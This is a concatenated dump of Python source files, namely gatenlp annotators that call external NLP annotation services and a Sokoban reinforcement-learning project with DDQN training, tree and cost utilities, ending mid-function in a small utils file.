self.ann_types\n # NOTE: not sure when this is needed, for now, disabled\n # next_annid = doc.annset(self.out_annset)._next_annid\n # params[\"nextAnnotationId\"] = str(next_annid)\n # self.logger.debug(f\"Sending text={text}, params={params}\")\n if self.api_key:\n response = requests.post(\n url,\n data=text.encode(\"utf-8\"),\n headers=hdrs,\n params=params,\n auth=HTTPBasicAuth(self.api_key, self.api_password),\n )\n else:\n response = requests.post(\n url, data=text.encode(\"utf-8\"), headers=hdrs, params=params\n )\n scode = response.status_code\n if scode != 200:\n raise Exception(f\"Something went wrong, received status code {scode}\")\n json = response.json()\n ents = json.get(\"entities\", {})\n annset = doc.annset(self.out_annset)\n for typename, anns in ents.items():\n for anndata in anns:\n feats = {}\n start, end = (\n None,\n None,\n ) # cause an exception if the return data does not have indices\n for fname, fval in anndata.items():\n if fname == \"indices\":\n start, end = fval[0], fval[1]\n else:\n feats[fname] = fval\n if self.map_types:\n typename = self.map_types.get(typename, typename)\n # self.logger.debug(f\"Adding annotation {start},{start},{typename},{feats}\")\n annset.add(start, end, typename, features=feats)\n return doc\n\n\nclass TagMeAnnotator(Annotator):\n \"\"\"\n An annotator that sends text to the TagMe Annotation service (https://sobigdata.d4science.org/group/tagme/tagme)\n and uses the result to annotate the document.\n \"\"\"\n\n def __init__(\n self,\n url=None,\n auth_token=None,\n lang=\"en\",\n ann_type=\"Mention\",\n task=\"tag\", # or spot\n out_annset=\"\",\n min_delay_ms=501,\n tweet=False,\n include_all_spots=False,\n long_text=None,\n epsilon=None,\n link_pattern=\"https://{0}.wikipedia.org/wiki/{1}\",\n ):\n \"\"\"\n Create a TagMeAnnotator.\n\n Args:\n lang: the language of the text, one of 'de', 'en' (default), 'it'\n ann_type: the annotation type for the new annotations, default is \"Mention\"\n auth_token: the authentication token needed to use the service\n url: the annotation service endpoint, is None, the default endpoint for the task (spot or tag) is used\n task: one of \"spot\" (only find mentions) or \"tag\" (find mentions and link), default is \"tag\"\n out_annset: the annotationset to put the new annotations in\n min_delay_ms: minimum time in ms to wait between requests to the server\n tweet: if True, TagMe expects a Tweet (default is False)\n include_all_spots: if True, include spots that cannot be linked (default is False)\n long_text: if not None, the context length to use (default: None)\n epsilon: if not None, the epsilong value (float) to use (default: None)\n link_pattern: the URL pattern to use to turn the \"title\" returned from TagMe into an actual link. The\n default is \"https://{0}.wikipedia.org/wiki/{1}\" where {0} gets replaced with the language code and\n {1} gets replaced with the title.\n \"\"\"\n if url is None:\n if task == \"tag\":\n url = \"https://tagme.d4science.org/tagme/tag\"\n elif task == \"spot\":\n url = \"https://tagme.d4science.org/tagme/spot\"\n else:\n raise Exception(\"task must be 'tag' or 'spot'\")\n assert lang in [\"en\", \"de\", \"it\"]\n if long_text is not None:\n assert isinstance(long_text, int)\n if epsilon is not None:\n assert isinstance(epsilon, float)\n self.long_text = long_text\n self.epsilon = epsilon\n self.lang = lang\n self.auth_token = auth_token\n self.url = url\n self.tweet = tweet\n self.include_all_spots = include_all_spots\n self.out_annset = out_annset\n self.min_delay_s = min_delay_ms / 1000.0\n self.logger = init_logger()\n # self.logger.setLevel(logging.DEBUG)\n self._last_call_time = 0\n self.ann_type = ann_type\n self.link_pattern = link_pattern\n\n def __call__(self, doc, **kwargs):\n if \"tweet\" in kwargs:\n tweet = kwargs[\"tweet\"]\n else:\n tweet = self.tweet\n delay = time.time() - self._last_call_time\n if delay < self.min_delay_s:\n time.sleep(self.min_delay_s - delay)\n text = doc.text\n hdrs = {\n \"Content-Type\": \"text/plain; charset=UTF-8\",\n \"Accept\": \"application/gate+json\",\n }\n params = {\n \"text\": text,\n \"gcube-token\": self.auth_token,\n \"lang\": self.lang,\n }\n if self.include_all_spots:\n params[\"include_all_spots\"] = \"true\"\n if tweet:\n params[\"tweet\"] = \"true\"\n if self.long_text is not None:\n params[\"long_text\"] = self.long_text\n if self.epsilon is not None:\n params[\"epsilon\"] = self.epsilon\n response = requests.post(self.url, params=params, headers=hdrs)\n scode = response.status_code\n if scode != 200:\n raise Exception(f\"Something went wrong, received status code {scode}\")\n json = response.json()\n # self.logger.debug(f\"Response JSON: {json}\")\n ents = json.get(\"annotations\", {})\n annset = doc.annset(self.out_annset)\n om = OffsetMapper(text)\n for ent in ents:\n start = ent[\"start\"]\n end = ent[\"end\"]\n start, end = om.convert_to_python([start, end])\n feats = {}\n title = ent.get(\"title\")\n if title is not None:\n if self.link_pattern:\n feats[\"url\"] = self.link_pattern.format(self.lang, title)\n else:\n feats[\"title\"] = title\n for fname in [\"id\", \"rho\", \"link_probability\", \"lp\"]:\n fval = ent.get(fname)\n if fval is not None:\n feats[fname] = fval\n # self.logger.debug(f\"Adding annotation {start},{end},{feats}\")\n annset.add(start, end, self.ann_type, features=feats)\n return doc\n\n\nclass TextRazorTextAnnotator(Annotator):\n \"\"\"\n An annotator that sends document text to the TextRazor Annotation service (https://www.textrazor.com/)\n and uses the result to annotate the document.\n\n NOTE: this annotator and how it can get parametrized will still change!\n \"\"\"\n\n def __init__(\n self,\n url=None, # use default\n auth_token=None,\n lang=None, # if None/not specified, TextRazor auto-detects\n extractors=None,\n out_annset=\"\",\n min_delay_ms=501,\n ):\n \"\"\"\n Create a TextRazorTextAnnotator.\n\n Args:\n lang: if specified, override the auto-detected language of the text\n auth_token: the authentication token needed to use the service\n url: the annotation service endpoint, is None, the default endpoint https://api.textrazor.com is used\n extractors: a list of extractor names or a string with comma-separated extractor names to add to the\n minimum extractors (words, sentences). If None uses words, sentences, entities.\n NOTE: currently only words, sentences, entities is supported.!\n out_annset: the annotationset to put the new annotations in\n min_delay_ms: minimum time in ms to wait between requests to the server\n \"\"\"\n if url is None:\n url = \"https://api.textrazor.com\"\n self.url = url\n self.lang = lang\n self.out_annset = out_annset\n self.auth_token = auth_token\n self.min_delay_s = min_delay_ms / 1000.0\n self.logger = init_logger()\n self.logger.setLevel(logging.DEBUG)\n self._last_call_time = 0\n if extractors is not None:\n if isinstance(extractors, str):\n extractors = extractors.split(\",\")\n if isinstance(extractors, list):\n allextrs = set()\n allextrs.update(extractors)\n allextrs.update([\"words\", \"sentences\"])\n self.extractors = \",\".join(list(allextrs))\n else:\n raise Exception(\"Odd extractors, must be list of strings or string\")\n else:\n self.extractors = \"words,sentences,entities\"\n\n def __call__(self, doc, **kwargs):\n delay = time.time() - self._last_call_time\n if delay < self.min_delay_s:\n time.sleep(self.min_delay_s - delay)\n text = doc.text\n hdrs = {\n # 'Content-Type': 'text/plain; charset=UTF-8',\n # 'Accept-encoding': 'gzip' # TODO: to enable compressed responses\n # 'Content-encoding': 'gzip' # TODO: to enable compressed requests\n \"X-TextRazor-Key\": self.auth_token\n }\n data = {\"text\": text.encode(\"UTF-8\")}\n if self.extractors:\n data[\"extractors\"] = self.extractors\n if self.lang:\n data[\"languageOverride\"] = self.lang\n self.logger.debug(f\"Sending request to {self.url}, data={data}, headers={hdrs}\")\n response = requests.post(\n self.url,\n # params=params,\n data=data,\n headers=hdrs,\n )\n scode = response.status_code\n if scode != 200:\n raise Exception(f\"Something went wrong, received status code {scode}\")\n json = response.json()\n ok = json.get(\"ok\", False)\n if not ok:\n raise Exception(f\"Something went wrong, did not get OK, json: {json}\")\n self.logger.debug(f\"Response JSON: {json}\")\n resp = json.get(\"response\", {})\n entities = resp.get(\"entities\", [])\n sentences = resp.get(\"sentences\", [])\n categories = resp.get(\"categories\", [])\n topics = resp.get(\"topics\", [])\n entailments = resp.get(\"entailments\", [])\n relations = resp.get(\"relations\", [])\n properties = resp.get(\"properties\", [])\n nounphrases = resp.get(\"nounPhrases\", [])\n language = resp.get(\"language\")\n languageIsReliable = resp.get(\"languageIsReliable\")\n tok2off = {} # maps token idxs to tuples (start,end)\n annset = doc.annset(self.out_annset)\n for s in sentences:\n sentstart = None\n sentend = None\n words = s.get(\"words\", [])\n end = None\n for word in words:\n start = word[\"startingPos\"]\n end = word[\"endingPos\"]\n if sentstart is None:\n sentstart = start\n tokidx = word[\"position\"]\n feats = {}\n feats[\"partOfSpeech\"] = word[\"partOfSpeech\"]\n feats[\"lemma\"] = word[\"lemma\"]\n if word.get(\"stem\"):\n feats[\"stem\"] = word[\"stem\"]\n annset.add(start, end, \"Token\", features=feats)\n tok2off[tokidx] = (start, end)\n if end is not None:\n sentend = end\n if sentstart is not None and sentend is not None:\n annset.add(sentstart, sentend, \"Sentence\")\n for ent in entities:\n feats = {}\n for fname in [\n \"wikiLink\",\n \"entityEnglishId\",\n \"wikidataId\",\n \"relevanceScore\",\n \"confidenceScore\",\n \"type\",\n \"freebaseId\",\n \"entityId\",\n \"freebaseTypes\",\n ]:\n if fname in ent:\n feats[fname] = ent[fname]\n annset.add(ent[\"startingPos\"], ent[\"endingPos\"], \"Entity\", feats)\n return doc\n\n\nclass ElgTextAnnotator(Annotator):\n # TODO: maybe we should eventually always use the elg package and the elg Service class!\n # TODO: however, currently their way how handling auth is done is too limiting see issues #8, #9\n\n # TODO: use template and return the URL from a method or use elg.utils\n ELG_SC_LIVE_URL_PREFIX = \"https://live.european-language-grid.eu/auth/realms/ELG/protocol/openid-connect/auth?\"\n ELG_SC_LIVE_URL_PREFIX += (\n \"client_id=python-sdk&redirect_uri=urn:ietf:wg:oauth:2.0:oob&response_type=code\"\n )\n ELG_SC_LIVE_URL_OFFLINE = ELG_SC_LIVE_URL_PREFIX + \"&scope=offline_access\"\n ELG_SC_LIVE_URL_OPENID = ELG_SC_LIVE_URL_PREFIX + \"&scope=openid\"\n\n ELG_SC_DEV_URL_PREFIX = \"https://dev.european-language-grid.eu/auth/realms/ELG/protocol/openid-connect/auth?\"\n ELG_SC_DEV_URL_PREFIX += (\n \"client_id=python-sdk&redirect_uri=urn:ietf:wg:oauth:2.0:oob&response_type=code\"\n )\n ELG_SC_DEV_URL_OFFLINE = ELG_SC_DEV_URL_PREFIX + \"&scope=offline_access\"\n ELG_SC_DEV_URL_OPENID = ELG_SC_DEV_URL_PREFIX + \"&scope=openid\"\n \"\"\"\n An annotator that sends text to one of the services registered with the European Language Grid\n (https://live.european-language-grid.eu/) and uses the result to create annotations.\n\n NOTE: This is maybe not properly implemented and not properly tested yet!\n \"\"\"\n\n def __init__(\n self,\n url=None,\n service=None,\n auth=None,\n success_code=None,\n access_token=None,\n refresh_access=False,\n out_annset=\"\",\n min_delay_ms=501,\n anntypes_map=None,\n ):\n \"\"\"\n Create an ElgTextAnnotator.\n\n NOTE: error handling is not properly implemented yet since we do not know yet how exactly the various\n error conditions are represented in the result returned from the ELG services. For now, any error will\n throw an exception when `__call__` is invoked.\n\n NOTE: initialization can fail with an exception if success_code is specified and retrieving the\n authentification information fails.\n\n Args:\n url: the annotation service URL to use. If not specified, the service parameter must be specified.\n service: the ELG service number or a tuple (servicenumber, domain). This requires the elg package.\n This may raise an exception. If successful, the url and service_meta attributes are set.\n auth: a pre-initialized ELG Authentication object. Requires the elg package. If not specified, the\n success_code or access_token parameter must be specified.\n success_code: the success code returned from the ELG web page for one of the URLs to obtain\n success codes. This will try to obtain the authentication information and store it in the\n `auth` attribute. Requires the elg package.\n To obtain a success code, go the the ELG_SC_LIVE_URL_OPENID or ELG_SC_LIVE_URL_OFFLINE url\n and log in with your ELG user id, this will show the success code that can be copy-pasted.\n access_token: the access token token for the ELG service. Only used if auth or success_code are not\n specified. The access token is probably only valid for a limited amount of time. No refresh\n will be done and once the access token is invalid, calling `__call__` will fail with an exception.\n The access token can be obtained using the elg package or copied from the \"Code samples\" tab\n on the web page for a service after logging in.\n refresh_access: if True, will try to refresh the access token if auth or success_code was specified and\n refreshing is possible. Ignored if only access_token was specified\n out_annset: the name of the annotation set where to create the annotations (default: \"\")\n min_delay_ms: the minimum delay time between requests in milliseconds (default: 501 ms)\n anntypes_map: a map for renaming the annotation type names from the service to the ones to use in\n the annotated document.\n \"\"\"\n if [x is not None for x in [url, service]].count(True) != 1:\n raise Exception(\"Exactly one of service or url must be specified\")\n if [x is not None for x in [auth, success_code, access_token]].count(True) != 1:\n raise Exception(\n \"Exactly one of auth, success_code, or access_token must be specified\"\n )\n self.access_token = access_token\n self.success_code = success_code\n self.auth = auth\n self.url = url\n self.service = service\n self.service_meta = None\n self.refresh_access = refresh_access\n # first check if we need to import the elg package\n import_elg = False\n if access_token:\n self.refresh_access = False\n if service is not None:\n import_elg = True\n if auth or success_code:\n import_elg = True\n if import_elg:\n try:\n from elg import Authentication\n from elg.utils import get_domain, get_metadatarecord\n except Exception as ex:\n raise Exception(\n \"For this gatenlp must be installed with extra elg or extra all, e.g. gatenlp[elg]\",\n ex,\n )\n if service is not None:\n # update this to use the new method:\n # https://gitlab.com/european-language-grid/platform/python-client/-/issues/9\n if isinstance(service, tuple):\n service_id, domain = service\n else:\n service_id = service\n domain = get_domain(\"live\")\n self.service_meta = get_metadatarecord(service_id, domain)\n # NOTE: there is also elg_execution_location for async requests!\n self.url = self.service_meta[\"service_info\"][\"elg_execution_location_sync\"]\n if success_code is not None:\n self.auth = Authentication.from_success_code(success_code, domain=\"live\")\n if self.auth:\n self.access_token = self.auth.access_token\n self.min_delay_s = min_delay_ms / 1000.0\n self.anntypes_map = anntypes_map\n self.out_annset = out_annset\n self.logger = init_logger(__name__)\n # self.logger.setLevel(logging.DEBUG)\n self._last_call_time = 0\n\n def __call__(self, doc, **kwargs):\n # if necessary and possible, refresh the access token\n if self.refresh_access and self.auth:\n self.auth.refresh_if_needed()\n delay = time.time() - self._last_call_time\n if delay < self.min_delay_s:\n time.sleep(self.min_delay_s - delay)\n om = OffsetMapper(doc.text)\n request_json = json.dumps(\n {\"type\": \"text\", \"content\": doc.text, \"mimeType\": \"text/plain\"}\n )\n hdrs = {\"Content-Type\": \"application/json\"}\n if self.access_token:\n hdrs[\"Authorization\"] = f\"Bearer {self.access_token}\"\n response = requests.post(self.url, data=request_json, headers=hdrs)\n scode = response.status_code\n if scode != 200:\n raise Exception(\n f\"Something went wrong, received status code/text {scode} / {response.text}\"\n )\n response_json = response.json()\n # self.logger.debug(f\"Response JSON: {json}\")\n # TODO: check that we have got\n # - a map\n # - which has the \"response\" key\n # - response value is a map which has \"type\"= \"annotations\" and\n # - \"annotations\" is a map with keys being the annotation types and values arrays of annoations\n ents = response_json.get(\"response\", {}).get(\"annotations\", {})\n annset = doc.annset(self.out_annset)\n for ret_anntype, ret_anns in ents.items():\n if self.anntypes_map:\n anntype = self.anntypes_map.get(ret_anntype, ret_anntype)\n else:\n anntype = ret_anntype\n for ret_ann in ret_anns:\n start = ret_ann[\"start\"]\n end = ret_ann[\"end\"]\n feats = ret_ann.get(\"features\", {})\n start, end = om.convert_to_python([start, end])\n annset.add(start, end, anntype, features=feats)\n return doc\n" }, { "alpha_fraction": 0.5760233998298645, "alphanum_fraction": 0.679337203502655, "avg_line_length": 26.7297306060791, "blob_id": "82e624417168d6e22ee9281f4e48d10d8ce885da", "content_id": "b79eb1e9210faae65676fd2e74f60b3b105f9300", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1026, "license_type": "permissive", "max_line_length": 65, "num_lines": 37, "path": "/html-ann-viewer/create-debug-html.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "from nltk import word_tokenize\nfrom gatenlp import Document\ntxt = \"This is a document \"\n# 0123456789012345678901\n# 0000000000111111111122\ndoc = Document(\"This is a document \")\n\nannset = doc.annset()\nannset.add(0,4,\"Token\")\nannset.add(4,5,\"SpaceToken\")\nannset.add(5,7,\"Token\")\nannset.add(7,8,\"SpaceToken\")\nannset.add(8,9,\"Token\")\nannset.add(9,10,\"SpaceToken\")\nannset.add(10,18,\"Token\")\nannset.add(18,21,\"SpaceToken\")\nannset.add(0,21,\"Document\")\nannset.add(0,18,\"Sentence\")\nannset.add(2,3,\"Ann1\")\nannset.add(2,2,\"Zero1\")\nannset.add(20,20,\"Zero2\")\n\n\ndoc.save(\"debug-html.html\", fmt=\"html-ann-viewer\", offline=True)\n\ndoc = Document(\" x y \")\ndoc.annset().add(0,1,\"Space\")\ndoc.annset().add(1,2,\"Space\")\ndoc.annset().add(2,3,\"Space\")\ndoc.annset().add(3,4,\"Token\")\ndoc.annset().add(4,5,\"Space\")\ndoc.annset().add(5,6,\"Space\")\ndoc.annset().add(6,7,\"Space\")\ndoc.annset().add(7,8,\"Token\")\ndoc.annset().add(8,10,\"Space\")\ndoc.annset().add(10,11,\"Space\")\ndoc.save(\"debug-html2.html\", fmt=\"html-ann-viewer\", offline=True)\n" } ]
24
Prakyathkantharaju/sokobanAI
https://github.com/Prakyathkantharaju/sokobanAI
8d22d3536d8b7953bb8fe81be8a8efc20d5d5997
9b08c0c909e2f3eefaf53f5a557182d3f4afdc75
d860359910ea75f91cff31c955c1bc48cfd41ec7
refs/heads/master
2022-12-13T03:16:18.749981
2020-09-13T18:59:39
2020-09-13T18:59:39
275,512,327
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6293478012084961, "alphanum_fraction": 0.6315217614173889, "avg_line_length": 37.25, "blob_id": "1712162edd641b10fb1a1bba15200f6e4d62c574", "content_id": "afb85abcbb84cb75547b50f210513886c65375b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 920, "license_type": "no_license", "max_line_length": 85, "num_lines": 24, "path": "/Agents/utils.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "\n\nMAXIMUM_FLOAT_VALUE = float('inf')\n\nclass MinMaxStats(object):\n \"\"\"A class that holds the min-max values of the tree.\"\"\"\n def __init__(self, known_bounds):\n self.maximum = known_bounds.max if known_bounds else -MAXIMUM_FLOAT_VALUE\n self.minimum = known_bounds.min if known_bounds else MAXIMUM_FLOAT_VALUE\n\n def update(self, value: float):\n if value is None:\n raise ValueError\n\n self.maximum = max(self.maximum, value)\n self.minimum = min(self.minimum, value)\n\n def normalize(self, value: float) -> float:\n # If the value is unknow, by default we set it to the minimum possible value\n if value is None:\n return 0.0\n\n if self.maximum > self.minimum:\n # We normalize only when we have set the maximum and minimum values.\n return (value - self.minimum) / (self.maximum - self.minimum)\n return value\n" }, { "alpha_fraction": 0.5839451551437378, "alphanum_fraction": 0.6054821610450745, "avg_line_length": 33.61016845703125, "blob_id": "1a0a1c32bab6598fd20def9b9c562414504559ca", "content_id": "80cd1af9cb2ea9fe5564b7ed0c256c3168c99ce4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2043, "license_type": "no_license", "max_line_length": 125, "num_lines": 59, "path": "/Agents/DDQN/main.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# general import\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport time, sys\n# relative import\nsys.path.append('/home/prakyath/gitfolder/sokoban')\nfrom Agents.DDQN.Agent import Agent\nimport gym\nimport gym_sokoban\n\nif __name__ == '__main__':\n tf.compat.v1.disable_eager_execution()\n fig, ax = plt.subplots(2,1)\n env_name = 'Sokoban-v0'\n\n env = gym.make(env_name)\n lr = 0.01\n n_games = 500\n action_space = 9\n observation_space = np.array([10*10])\n agent = Agent(gamma=0.99, epsilon=1.0, lr=lr,\n input_dims=observation_space,\n n_actions= action_space, mem_size=1000000, batch_size= 3000, epsilon_end=0.01, fname = 'models/new_model.h5')\n # agent.load_model()\n score_history = []\n epsilon_history = []\n test_score = [0]\n test_history = []\n main_done = False\n local_done = False\n for n in range(n_games):\n main_counter = 0\n store_local = []\n global_done = False\n env.reset()\n main_counter += 1\n score = 0\n local_done = False\n observation, reward, local_done ,info = env.step(1,observation_mode = 'custom',weight_method = 'custom')\n observation = observation.flatten()\n counter = 0\n while not local_done:\n counter += 1\n action = agent.choose_action(observation)\n observation_, reward, local_done ,info = env.step(action,observation_mode = 'custom', weight_method = 'custom')\n temp = observation_\n observation_ = observation_.flatten()\n score += reward\n agent.store_transition(observation, action, reward, observation_, local_done)\n observation = observation_\n agent.learn()\n print(temp)\n store_local.append(score/counter)\n score_history.append(np.mean(store_local[:-10]))\n print('main counter: {}, part counter: {}, epsilon {}, avg score: {}'.format(n,counter,\\\n agent.epsilon,np.mean(store_local)))\n\n agent.save_model()\n\n" }, { "alpha_fraction": 0.6571428775787354, "alphanum_fraction": 0.670285701751709, "avg_line_length": 32.653846740722656, "blob_id": "d8bc1f7ca28bdc9ead30885249a1049f81bbd216", "content_id": "f5720b1e37c66e6ba809c71d9c48cab080105dde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1750, "license_type": "no_license", "max_line_length": 93, "num_lines": 52, "path": "/Agents/examples/Random_Sampling.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport gym_sokoban\nimport time\nimport os,sys\n# realtive import\nprint(os.getcwd())\nsys.path.append('/home/prakyath/gitfolder/sokoban')\nfrom Agents.cost_functions.cost import MSE\nfrom Agents.trees.MainTree import State, Match_state\n# Before you can make a Sokoban Environment you need to call:\n# import gym_sokoban\n# This import statement registers all Sokoban environments\n# provided by this package\nenv_name = 'Sokoban-v0'\nenv = gym.make(env_name)\nmse = MSE()\nenv.OBSERVATION_SPACE = 1\nenv.ACTION_SPACE = 8\nACTION_LOOKUP = env.unwrapped.get_action_lookup()\nprint(\"Created environment: {}\".format(env_name))\nprint(ACTION_LOOKUP)\nprev_state = None\n\nfor i_episode in range(1):#20\n observation = env.reset()\n\n for t in range(100):#100\n env.render(mode='human')\n action = env.action_space.sample()\n # Sleep makes the actions visible for users\n time.sleep(1)\n observation, reward, done, info = env.step(action, observation_mode = 'raw')\n print(ACTION_LOOKUP[action], reward, done, info)\n wall,goals,boxes,player = observation[0],observation[1],observation[2],observation[3]\n player = np.argwhere(player == 1)\n goals = np.argwhere(goals == 1)\n boxes = np.argwhere(boxes == 1)\n print('player', player, 'goals', goals, 'boxes', boxes)\n new_state = State(env.room_state.flatten())\n new_state.add_child(prev_state)\n print('matchstate',Match_state(new_state,prev_state))\n new_state.add_reward(mse.evaluate(goals,boxes, player))\n prev_state = new_state\n if done:\n print(\"Episode finished after {} timesteps\".format(t+1))\n env.render()\n break\n\n env.close()\n\ntime.sleep(10)\n" }, { "alpha_fraction": 0.5832535624504089, "alphanum_fraction": 0.5918660163879395, "avg_line_length": 23.57647132873535, "blob_id": "3e6acbea6f2e72176831898ea15dce53ee0b3151", "content_id": "bca8f8b6cfcabf1463dfe65eb4fd25cfbfd1abc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2090, "license_type": "no_license", "max_line_length": 81, "num_lines": 85, "path": "/Agents/trees/MainTree.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# general imports\nimport numpy as np\n\n# This file is for state tree construction\n# This will have following class/function\n# - State: each state class\n# - Match_state: function to return true is states are matched\n\nclass State(object):\n \"\"\"State.\"\"\"\n\n '''\n state class\n to have child, parent and occurance information\n also can add weight\n '''\n def __init__(self, state):\n \"\"\"__init__.\n\n :param state:\n \"\"\"\n self.parent = []\n self.child = {}\n self.state = state\n self.visit = 0\n self.reward = [0]\n self.sum_reward = 0\n self.prior = 0\n\n def add_child(self, child, action):\n self.child[action] = child\n\n def add_parent(self, parent):\n self.parent.append(parent)\n\n def add_visit(self):\n self.visit += 1\n\n def add_reward(self, reward):\n self.reward.append(reward)\n\n def add_roomstate(self, room_state):\n self.room_state = room_state\n\n def get_roomstate(self):\n return np.copy(self.room_state)\n\n def value(self):\n return self.reward[-1]\n\n def expanded(self):\n if len(self.child.values()) == 0:\n return True\n else:\n return False\n\ndef Match_state(state1,state2):\n '''\n function to check if the state1 and state2 match\n return\n True if they match\n False if they do not match\n '''\n\n if type(state1) == type(None) or type(state2) == type(None):\n return False\n comparision = state1.state == state2.state\n return comparision.all()\n\ndef Search_tree(old_state,new_state):\n '''\n Search tree function is for searching if the there is a same state before\n return (True/False,state) True/False if there exists with state\n '''\n queue = []\n match = None\n queue = old_state.child\n while len(queue) != 0:\n # picking at no particular order\n curr_child = queue[0]\n queue = queue + curr_child.child\n if Match_state(new_state,curr_child):\n return True, curr_child\n queue.pop(0)\n return False, match\n\n" }, { "alpha_fraction": 0.5222112536430359, "alphanum_fraction": 0.526159942150116, "avg_line_length": 29.696969985961914, "blob_id": "cd093c24a6243743622b96f1a29e67771f4faee7", "content_id": "7e14ba72db2edd60ce4293ea046a8bccb3e54a8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1013, "license_type": "no_license", "max_line_length": 78, "num_lines": 33, "path": "/Agents/cost_functions/cost.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# General import\nimport numpy as np\n\n# base class\nclass cost(object):\n def __init__(self, no_of_goals = 3):\n self.state_number = no_of_goals\n\n def evaluate(self,goals,target,player):\n raise NotImplemented\n\n# Mean square error\nclass MSE(cost):\n def __init__(self,no_of_goals = 3, cost_type = 'SUM'):\n super().__init__(no_of_goals)\n self.type = cost_type\n self.no_of_goals = no_of_goals\n\n def evaluate(self,goals, box, player):\n weight = 0\n if self.type == 'SUM':\n # remove FOR loops (OMG I am so bad)\n # should get MSE sum of all the weights with respect all the goals\n # n goals x n target\n x = 0\n for i in range(self.no_of_goals):\n print(box[i],goals[i])\n x += sum([sum((box[j] - goals[i]) * (box[j] - goals[i]).T)\n for j in range(self.no_of_goals)])\n weight = x\n if self.type == 'DIST':\n pass\n return weight\n" }, { "alpha_fraction": 0.5169946551322937, "alphanum_fraction": 0.5273703336715698, "avg_line_length": 27.212121963500977, "blob_id": "428543e077d0540ce1cae95ff3a11c56aaf0f19d", "content_id": "af8b20039bb2f4e1ec049435cafc6bb50efc55f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2795, "license_type": "no_license", "max_line_length": 78, "num_lines": 99, "path": "/old_env/sokoban_env.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# import general ai\nimport gym\nimport numpy as np\n# import game\ntry:\n import sokoban.game as game\nexcept:\n from env.sokoban_game import game\n\n# this is the gym\nclass sokoban_env(gym.Env):\n def __init__(self,level):\n self.game = game('env/levels', level)\n self.state = {}\n self.state['worker'] = 0\n self.state['box'] = 0\n self.state['dock'] = 0\n # reset\n def reset(self):\n pass\n #need to reset the game and start again\n\n # step\n def step(self, action, store = False):\n # action :\n # left = 1\n # right = 2\n # top = 3\n # bottom = 4\n # the True is cause the render will store all the action in the queue\n if action == 1:\n self.game.move(-1,0,store)\n elif action == 2:\n self.game.move(1,0,store)\n elif action == 3:\n self.game.move(0,-1,store)\n elif action == 4:\n self.game.move(0,1,store)\n # render\n def render(self):\n pass\n # render the figure in pygame window\n\n def close(self):\n # close the data and also the pygame window is open\n pass\n\n def seed(self):\n # set the random variable of the data\n pass\n\n def observation(self):\n # get state of the person and the box\n pass\n\n def get_info(self):\n # set the number of box, number of open space, number of complete goal\n pass\n\n def reward(self):\n # calculate the euclidian distance from the goal\n pass\n\n def get_state(self):\n # dock(s) location\n # worker location\n # box location\n WORKER,BOX,DOCK = self.game.get_state()\n WORKER = WORKER[:-1]\n state = {}\n self.state['worker'] = WORKER\n self.state['box'] = BOX\n self.state['dock'] = DOCK\n print(self.get_weight())\n\n def _state_size(self):\n self.get_state()\n self.len = 1\n self.len += len(self.state['box'])\n\n def get_weight(self,weight_type = 'euclidian', com_type = 'SUM'):\n # option of getting weight:\n # 'manhattan'\n # 'euclidian'\n # 'diagonal'\n # option to combine weight:\n # 'SUM': add all the weight from each dock to box\n # 'LEAST': add the least distance from the dock for each box\n # 'MEAN': add the weight and divide it by the number of docks\n # TODO: need to add different type of weights\n weight = 0\n if weight_type == 'euclidian':\n for i in self.state['box']:\n for j in self.state['dock']:\n if com_type == 'SUM':\n weight += np.sqrt((i[0] - j[0])**2 + (i[1] - j[1])**2)\n else:\n weight = 0\n return weight\n\n\n" }, { "alpha_fraction": 0.7305699586868286, "alphanum_fraction": 0.7305699586868286, "avg_line_length": 22.15999984741211, "blob_id": "8f275d24b05f88090d1b2a01f502072f34ed0984", "content_id": "8c5de25da7162c197a70a84d2bbb9434e8233776", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 579, "license_type": "no_license", "max_line_length": 116, "num_lines": 25, "path": "/README.md", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "# Sokoban ai\n\n![](figure/sokoban.webp)\n\nThis repository is to develop RL algorithms for sokoban env\n\nA-start algorithm is for benchmark and test if the result is possible.\n\n\n# Things to do:\n- [x] get the state of the all the boxes and worker\n- [x] get weight euclidian, manhattan, etc\n- [ ] write the A star function for baseline measurement\n- [x] write DQN algorithm\n- [x] write DDQN algorithm\n- [ ] write DDPG etc\n\n# dependencies:\n\n- pygame\n- gym\n\n\n# Credits:\nThe main game: [morendod's repository](https://github.com/morenod/sokoban.githttps://github.com/morenod/sokoban.git)\n" }, { "alpha_fraction": 0.6259398460388184, "alphanum_fraction": 0.63345867395401, "avg_line_length": 25.600000381469727, "blob_id": "1084f2310780d2340146d433018f13f63f8ca11f", "content_id": "1786765788fed8786bcd86962eb53f2829590e92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "no_license", "max_line_length": 70, "num_lines": 20, "path": "/Agents/MCTS/utils.py", "repo_name": "Prakyathkantharaju/sokobanAI", "src_encoding": "UTF-8", "text": "import numpy as np\n\ndef Match_goal_box(previous_state, new_state):\n box_loc = get_box_loc(previous_state) == get_box_loc(new_state)\n goal_loc = get_goals_loc(previous_state) == get_box_loc(new_state)\n if 